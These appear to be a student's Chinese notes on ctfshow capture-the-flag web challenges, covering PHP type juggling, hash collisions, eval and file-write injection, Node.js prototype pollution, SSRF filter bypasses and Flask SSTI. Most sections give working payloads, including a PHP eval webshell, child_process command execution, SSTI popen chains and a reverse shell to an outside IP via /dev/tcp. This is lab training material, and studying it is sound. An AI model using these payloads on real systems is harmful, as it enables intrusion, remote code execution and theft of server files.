/i表示匹配大小写,/m表示多行匹配 , "行首"元字符 (^) 仅匹配字符串的开始位置**, **而"行末"元字符 ($) 仅匹配字符串末尾,字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true 。

是要求我们多行匹配到php但是单行匹配不到php。

payload:?cmd=%0aphp // %0a表示换行符

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

4476.1

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

先看题目,多了一个 !strpos($num, “0”) , strpos() 函数查找字符串在另一字符串中第一次出现的位置 ,这里要求是第一个字符不是0,其他和上题一样,可用4476.0绕过,或者在八进制前面加空格,或者 ?num=+4476 。

payload:

1
2
3
?num=4476.0
?num= 010574
?num=+4476.0

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

payload:

1
2
3
?num= 010574
?num=+010574
AI写代码12

web96

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

看题目,要求u不弱等于flag.php,然后高亮u。可以推断出,flag在当前目录下的flag.php文件中。

payload:

?u=../html/flag.php
?u=./flag.php //相对路径, ./表示在当前目录下
?u=php://filter/convert.base64-encode/resource=flag.php //伪协议
?u=php://filter/resource=flag.php //伪协议
?u=/var/www/html/flag.php //绝对路径

web97

1
2
3
4
5
6
7
8
9
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

payload:

a[]=17&b[]=17 //数组
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
//强碰撞

web98(看不懂源码看不懂解析)

​```php
include(“flag.php”);
$_GET?$_GET=&$_POST:’flag’;
$_GET[‘flag’]==’flag’?$_GET=&$_COOKIE:’flag’;
$_GET[‘flag’]==’flag’?$_GET=&$_SERVER:’flag’;
highlight_file($_GET[‘HTTP_FLAG’]==’flag’?$flag:FILE);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

既然get传入的值会被定位指向到post所对应的值,那么只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了 payload ?HTTP_FLAG=随便输 //GET HTTP_FLAG=flag //POST





### web99

```php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

$allow = array(); 创建一个空数组array

for ($i=36; $i < 0x36d; $i++) { for循环,i从36到0x36d逐渐+1

array_push($allow, rand(1,$i)); $allow是个数组,arraypush把从1到i的一个随机数入栈

if(isset($_GET[‘n’]) && in_array($_GET[‘n’], $allow)){ 接受在这个数组里的n,让n作为文件名

PHP里的弱类型比较在字符串和数字比较的时候会尝试把字符串转为数字,所以1.php和1是这里是相等的。

由于这个数组的末尾一开始是从36开始增加,所以这个数组本来就有1-36的随机push,所以1-36出现的概率最大,我们这里让n=1.php,content=<?PHP eval($_POST[1]);?>反复执行几次,再访问1.php并发送1=system(‘ls’);就好。

web100

1
2
3
4
5
6
7
8
9
10
11
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");

这里考察了=和and的优先级,&&>||>=>and>or

所以

1
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

这一行是意思是,v1是否是数字复制给v0,再检查v2v3是不是数字,所以只需要v1是数字就能让v0=1。

后面有没有分号什么的不说了。

payload如下:

1
2
3
4
5
?v1=1&v2=system("tac ctfshow.php")/*&v3=*/;     //利用注释
?v1=1&v2=system('tac ctfshow.php')&v3=; //直接打也行
?v1=1&v2=echo new ReflectionClass&v3=; //使用反射类直接输出class ctfshow的信息
?v1=1&v2=var_dump($ctfshow)&v3=; //因为这个flag在ctfshow这个类中,直接打印变量
//var_dump($ctfshow):打印变量 $ctfshow 的详细信息。

web101

1
2
3
4
5
6
7
8
9
10
11
include("ctfshow.php");
//flag in class ctfshow; 注意这一句的存在。
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
1
?v1=1&v2=echo new ReflectionClass&v3=;          //使用反射类直接输出class ctfshow的信息

这个题太坑了,先要把0x2d换成

ReflectionClass

原生类是PHP自带的类,这些类方便开发人员完成系统底层或常用的功能,比如操作系统、数据库、反射、异常处理等。

ReflectionClass是PHP自带的反射(Reflection)类。反射简单来说就是程序在运行时能查看自己的结构和信息,就像“照镜子”一样。

它可以让你在代码运行时查看一个类的详细信息,包括类名,方法,属性等。

假设你有一个类叫 ctfshow,你想知道这个类里面有什么属性和方法,你就可以用:

1
2
$ref = new ReflectionClass('ctfshow');
print_r($ref);

它会告诉你很多关于 ctfshow 类的结构信息。

web102

1
2
3
4
5
6
7
8
9
10
11
12
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');

web103

1
2
3
4
5
6
7
8
9
10
11
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}

这两题就差一个短标签绕过,一起理解了。首先v2是数字v4就是1。选取v2从第二个位置开始的字符作为指定函数的参数。最后把运行结果放到v3里。

这个题目的payload属于意料之外情理之中,就是把放入的命令先短标签绕过,再base64编码,再转换成ASCII编码,开头加上两个占位字符,就是我们的v2。

为什么v2可以通过is_numeric呢?因为PHP是一个字符串里面有e就会判定为数字的语言。

1
2
3
4
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
输出 5044383959474e6864434171594473

这里有个e,就是能过。

1
2
3
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=x.php                 //GET
//str=PD89YGNhdCAqYDs(<?=`cat *`; 的base64编码)
v1=hex2bin //POST

然后url+x.php访问查看源代码什么都有了。

web104

1
2
3
4
5
6
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;

数组绕过

也可以弱碰撞

1
2
3
4
5
aaK1STfY
//0e76658526655756207688271159624026011393

aaO8zKZF
//0e89257456677279068558073954252716165668

web105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

先看两个能输入的地方

die($error);这个地方我们如果把$error=$flag就可以输出flag了,但是value等于flag会拦截,所以我们让suces=flag,error=suces。

也就是get发suces=flag,POST发error=suces。

那么我们要走die($suces);,那么我们要让flag=$flag,所以我们要控制$flag,先让flag的值存在suces里,再控制它

? suce=flag然后flag=

最后POST传flag=或者不传。

web106

1
2
3
4
5
6
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;

数组绕过

web107

1
2
3
4
5
6
7
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;

ai能写出来

web108

1
2
3
4
5
6
7
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');}
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

ereg(“正则表达式”, 字符串) 匹配失败是false

1
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  

这一句要求传的c全是字母

strrev 把字符串倒过来

0x36d 是十六进制数,等于 877

intval() 是把一个值转成整数,并且用的是弱比较

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

1
?c=a%00778

web109(纠结语法中)

1
2
3
4
5
6
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");

/[a-zA-Z]+/ 至少一个英文字母的意思

echo new 很容易就想到类

Exception 类有一个特殊的方法叫做 __toString(),当你 echo Exception对象 时,它会自动调用这个魔术方法,并把异常信息(也就是 system() 的返回值)打印出来!

web110

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}

反序列化

web254

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();

node.js

web334

附件给了源码 user.js login,js

user.js 中有用户名:CTFSHOW,密码:123456 4、审计 login.js,其中代码 return name!==’CTFSHOW’ && item.username === name.toUpperCase() && item.password === password;,用户名输入小写 ctfshow

web335

页面发现 eval 参数的 get 传参

1
2
?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('tac fl00g.txt')
1
2
3
4
5
代码解释:
require('child_process'):在 Node.js 里,child_process 是一个内置模块,require('child_process') 用于引入该模块,借助它可以创建子进程。
spawnSync('ls', ['.']):spawnSync 是 child_process 模块的同步方法,其作用是创建一个子进程并执行命令。这里执行的命令是 ls(在 Unix/Linux 系统下用于列出目录内容),参数是 .(表示当前目录)。
.stdout.toString():spawnSync 方法的返回值包含子进程的标准输出(stdout)等信息,stdout 是一个 Buffer 对象,toString() 方法把它转换为字符串。
整体效果:当 Web 应用执行这个 eval() 代码时,会列出当前目录下的所有文件和文件夹。

跟 SSTI 是固定模版,require 类似于 import,所以背就完事了,

web336

把上一题的 execSync 过滤了

过滤了 exec,其他不变

1
2
3
4
child_process.spawnSync(command[, args][, options])

?eval=require('child_process').spawnSync('ls', ['-l', '.']).stdout
?eval=require('child_process').spawnSync('cat', ['fl001g.txt']).stdout

其中的 stdout 表示缓冲区中的内容,也就是输出结果,也可以在结尾继续追加一个 toString()方法但是还可以用

or:

1
2
3
4
检查发现过滤了 exec
可以将命令 base64 编码,然后解码后再次 eval

/?eval=eval(Buffer.from("cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjYXQgZmwwMDFnLnR4dCcp",'base64').toString('ascii'))

web337

1
2
3
4
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});

?a[a]=1&b[b]=1
满足 a 和 b 都为真、a 和 b 长度相等、和字符串拼接的结果都是[object Object]flag

web338

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
给了源码, 看到 login.js 里面有个 copy() 函数

router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});

找到 copy() 函数的用法

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

基础的原型链污染, 因为需要 满足条件 secert.ctfshow==='36dboy' , 可以输出 flag,
但是 secert 是否有 ctfshow 不重要, 让它的原型拥有就行,
secert 和 user 都是 对象, 在执行 copy 操作 ,构造一个请求体污染了 user 的原型,
存在一个 ctfshow 的属性, 值为 36dboy , 那么在 secert 的里面找不到 ctfshow 的属性. 就会往原型上去找, 从而满足secert.ctfshow==='36dboy' ,得到 flag
抓个登录的包, 修改一下就行

1
2
payload:
{"username":"111","password":"111","__proto__": {"ctfshow": "36dboy"}}

==============================

web339 变量覆盖 query

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

api.js

1
2
3
4
5
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)}); //函数名 query,参数 query

});

和上一题的区别在于,上一题判断语句是 if(secert.ctfshow= = =‘36dboy’),这题是 if(secert.ctfshow= = =flag),但是变量 flag 的值我们不知道,所以不能使用上一题的 payload 污染原型修改 secert.ctfshow。

通过 login.js 里的 utils.copy(user,req.body); 污染原型,然后访问 api 的时候由于 query 未定义,所以会向其原型找,那么通过污染原型构造恶意代码即可 rce。

![img](file:///C:\Users\111\Documents\Tencent Files\2645958615\nt_qq\nt_data\Pic\2025-05\Ori\be7268db2dea4a7ca61ae7aebefabd9c.png)

web340

这一题从 userinfo 对象进行污染,userinfo 对象上一级是 user 对象,user 对象上一级就是 object,所以需要污染两次。

payload:

1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"')"}}}

记得 POST 发包调成 json 格式。

环境变量中找到 flag

就是我们能控制的是 userinfo,但是 userinfo 上一级是 user,user 的上一级才是 object,才能影响到’api’, { query: Function(query)(query)}

1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}}

剩下的步骤和上面一样

我咋知道我能控制的是什么?我怎么知道“地位”?

SSRF

web351

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST ['url'];
$ch=curl_init($ url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ ch);
curl_close($ch);
echo ($result);

?>

url = http://127.0.0.1/flag.php
url = localhost/flag.php
url = 127.0.0.1/flag.php

url = file:///var/www/html/flag.php(在源代码)

尝试 post 传入 url,并使用 file 协议作为参数,file:///etc/passwd 有返回值。 然后猜测 flag 在当前目录,而当前目录一般都是/var/www/html 故传入 file:///var/www/html/flag.php

两个问题等你写

curl_exec 的特性

本题最后一个 payload 有什么不同,为什么可以绕过本地限制

答案:

  1. curl_exec 函数的作用及使用场景
    curl_exec 是 PHP cURL 库中用于执行预配置的 cURL 会话的函数。它会发起网络请求(如 HTTP、FTP 等)并获取响应数据。在正常开发中,curl_exec 常用于以下场景:
    • 调用第三方 API(如支付接口、社交媒体平台)。
    • 爬取网页内容或聚合数据。
    • 下载远程文件(如图片、文档)。
    • 实现服务间通信(如微服务架构中的内部调用)。
  2. 前三个 Payload 生效的原因
    前三个 Payload 利用的是 SSRF(服务端请求伪造),使服务器向自身发起请求:
    • url=http://127.0.0.1/flag.phpurl=http://localhost/flag.php
      127.0.0.1localhost 均指向服务器本地。若 flag.php 部署在服务器的 Web 根目录(如 /var/www/html/)且仅允许本地访问,通过 cURL 请求这些地址可直接读取文件内容。
    • 注意:若 Payload 中未显式包含协议(如 http://),cURL 可能默认补全或报错,实际测试时需确保 URL 格式正确(如 http://127.0.0.1/flag.php)。
  3. file:// 协议绕过本地限制的原因
    Payload url=file:///var/www/html/flag.php 生效的关键点:
    • 直接文件系统访问file:// 协议允许 cURL 直接读取服务器本地文件,无需经过 HTTP 服务。若代码未限制协议类型(默认允许所有协议),攻击者可绕过网络层限制(如防火墙、IP 黑名单)。
    • 防御缺失:若服务器未禁用危险协议(如通过 CURLOPT_PROTOCOLS 限制仅允许 HTTP/HTTPS),file:// 可被利用读取敏感文件(如 /etc/passwd)。

web352

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST ['url'];
$x=parse_url($ url);
if($x['scheme']==='http'||$ x ['scheme']==='https'){
#仅允许 http:// 或 https:// 协议,阻止 file://、gopher:// 等危险协议
if(! preg_match('/localhost|127.0.0/')){
#检测 URL 中是否包含 localhost 或 127.0.0,若匹配则终止并返回 "hacker"。
#这里的 localhost 和 127.0.0 真的被过滤了吗?preg_match 函数的参数都没给完整,其限制字符就是个幌子
$ch=curl_init($ url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

漏洞分析

  1. 正则表达式缺陷
  • 范围不完整:正则仅检测 127.0.0,但未覆盖以下情况:
    • IPv4 短格式:http://127.1/(等价于 127.0.0.1)。
    • 十进制 IP:http://2130706433/(对应 127.0.0.1)。
    • IPv6 地址:http://[::1]/(对应 localhost)。
  • 大小写绕过:未使用 i 修饰符,LocalHostLOCALHOST 可绕过检测。
  1. parse_url 解析绕过
  • URL 混淆攻击
    构造 http://evil.com@127.0.0.1/parse_url 解析的 hostevil.com,但实际请求发送到 127.0.0.1
  • 路径注入
    http://example.com/127.0.0.1/flag.php,正则触发误杀合法 URL,但攻击者仍可能利用其他格式。

攻击示例

绕过黑名单的 Payload:

  1. IPv4 短格式

    复制

    url = http://127.1/flag.php

    • 等价于 127.0.0.1,但绕过正则检测。
  2. 十进制 IP

    复制

    url = http://2130706433/flag.php

    • 十进制 2130706433 对应 127.0.0.1
  3. IPv6 地址

    复制

    url = http://[:: 1]/flag.php

    • IPv6 的本地回环地址,未被正则覆盖。

各种进制的 IP 地址

#默认

http://127.0.0.1

#16 进制

http://0x7F000001

#10 进制

((127 256+0) 256+0)*256+1//计算过程
http://2130706433

#8 进制

http://0177.0000.0000.0001

题目使用 parse_url 对 url 进行解析,需要我们传入协议为 http 或者是 https,同时不可以出现 localhost 或者是 127.0.0 绕过: 使用其余各种指向 127.0.0.1 的地址 >>>> http://127.00000.00000.001/ 0 的数量多一点少一点都没影响,最后还是会指向 127.0.0.1 >>>> http://127.1 >>>> 利用进制绕过……………… payload:url = http://127.00000.00000.001/flag.php 或者 http://127.1/flag.php

前面的解析都没有认真思考

这里的 localhost 和 127.0.0 真的被过滤了吗?

preg_match 函数的参数都没给完整,其限制字符就是个幌子

直接 url=http://localhost/flag.php 照样拿下

web353

payload 直接拿上面那题的…

web354

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST ['url'];
$x=parse_url($ url);
if($x['scheme']==='http'||$ x ['scheme']==='https'){
if(! preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($ url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

通过 ip 地址解析为 127.0.0.1 的网站进行绕过

url=http://spoofed.burpcollaborator.net/flag.php

url=http://safe.taobao.com/flag.php

url=http://sudo.cc/flag.php ; A 记录 sudo.cc 指向 IP 地址 127.0.0.1。

web355

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST ['url'];
$x=parse_url($ url);
if($x['scheme']==='http'||$ x ['scheme']==='https'){
$host=$ x ['host'];
if((strlen($host)<= 5)){
#限制访问的域名长度
$ch=curl_init($ url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

url=http://127.1/flag.php

linux 中 0 指向本机地址

payload: url=http://0/flag.php

web356

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST ['url'];
$x=parse_url($ url);
if($x['scheme']==='http'||$ x ['scheme']==='https'){
$host=$ x ['host'];
if((strlen($host)<= 3)){
#继续限制
$ch=curl_init($ url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

代码块

url=http://0/flag.php

(未复现)web357

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST ['url'];
$x=parse_url($ url);
if($x['scheme']==='http'||$ x ['scheme']==='https'){
$ip = gethostbyname($ x ['host']);
echo '</br>'.$ip.'</br >';
if(! filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}

echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?> scheme

filter_var 函数来验证 IP 地址的有效性,并且排除了私有 IP 范围(0.0.0.0/8、172.16.0.0/12 和 192.168.0.0/16)和保留 IP 范围(0.0.0.0/8 和 169.254.0.0/16。)。
用 DNS rebind 进行 DNS 重绑定攻击,思路:第一次访问,域名第一次解析是 127.0.0.1,第二次解析是 104.56.61.24。第二次访问的时候,域名第一次解析是 104.56.61.24,第二次解析是 127.0.0.1。

DNS rebind 进行 DNS 重绑定攻击,思路:第一次访问,域名第一次解析是 127.0.0.1,第二次解析是 104.56.61.24。第二次访问的时候,域名第一次解析是 104.56.61.24,第二次解析是 127.0.0.1。

gethostbyname() 是 PHP 中的一个函数,用于获取指定主机名的 IP 地址。这个函数可以通过给定主机名,返回相应主机的 IPv4 地址。如果主机名无效,则函数返回主机名本身

在 PHP 中,filter_var()函数结合 FILTER_VALIDATE_IP 过滤器可以用来验证一个 IP 地址的有效性。在这个例子中,FILTER_FLAG_NO_PRIV_RANGE 和 FILTER_FLAG_NO_RES_RANGE 是额外的标志,用于指定不接受私有 IP 地址和保留 IP 地址。

FILTER_VALIDATE_IP:指定要验证的过滤器类型,用于验证 IP 地址。
FILTER_FLAG_NO_PRIV_RANGE:指示 filter_var()函数不接受私有 IP 地址。私有 IP 地址范围包括:
10.0.0.0 至 10.255.255.255
172.16.0.0 至 172.31.255.255
192.168.0.0 至 192.168.255.255
FILTER_FLAG_NO_RES_RANGE:指示 filter_var()函数不接受保留 IP 地址。保留 IP 地址范围包括:
0.0.0.0 至 0.255.255.255
169.254.0.0 至 169.254.255.255
127.0.0.0 至 127.255.255.255
224.0.0.0 至 239.255.255.255
利用 302 重定向访问 127.0.0.1 的原理获得 flag 绕过过滤

302 重定向是 HTTP 状态代码之一,表示临时性的重定向。当服务器收到客户端的请求后,如果需要将请求的资源临时重定向到另一个 URL,但未来可能会恢复到原始 URL 时,就会返回 302 状态码。这意味着客户端应该继续使用原始 URL 进行后续请求,因为重定向是暂时的。302 重定向常用于网站维护、临时性更改或者流量控制等场景。

web358

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

url=http://ctf.:passwd@127.0.0.1/flag.php#show

SSTI

web361

![img](file:///C:\Users\111\Documents\Tencent Files\2645958615\nt_qq\nt_data\Pic\2025-04\Ori\250ea6921f44142c235ad251ca163526.png)

web362 过滤部分数字

这个题是屏蔽了数字 2 和 3,那么思路可以分为两类,硬要用 os 类那就绕过 2 和 3,或者用其他的类。

1
2
3
4
5
6
7
8
9
10
{{"".__class__.__bases__[0].__subclasses__()[11*11%2b+11].__init__.__globals__['popen']('cat+/flag').read()}}
用<class 'warnings.catch_warnings'> 执行命令:
{{"".__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}
用 subprocess.Popen():
{{().__class__.__mro__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()[0]}}
使用_frozen_importlib_external.FileLoader 进行读取 flag 内容:
{{"".__class__.__base__.__subclasses__()[94].get_data(0,'/flag')}}
文件路径
使用 lipsum 方法。这个是 flask 的内置方法,自带 os 模块:
{{lipsum.__globals__.get('os').popen('cat /flag').read()}}

web363 单双引号””‘’

过滤了单引号,把””变成(),用 request.args.a

1
2
{{().__class__.__bases__[0].__subclasses__()[11*11%2b+11].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag
{{().__class__.__mro__[1].__subclasses__()[407](request.args.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag

web364 args

过滤 args,可以用 cookies

过滤 args,可以用 cookies
?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.p](request.cookies.param).read()}}
cookies
Cookie: p=popen; param=cat /flag

request.values.a 读取 get/post 方式里 a 的值

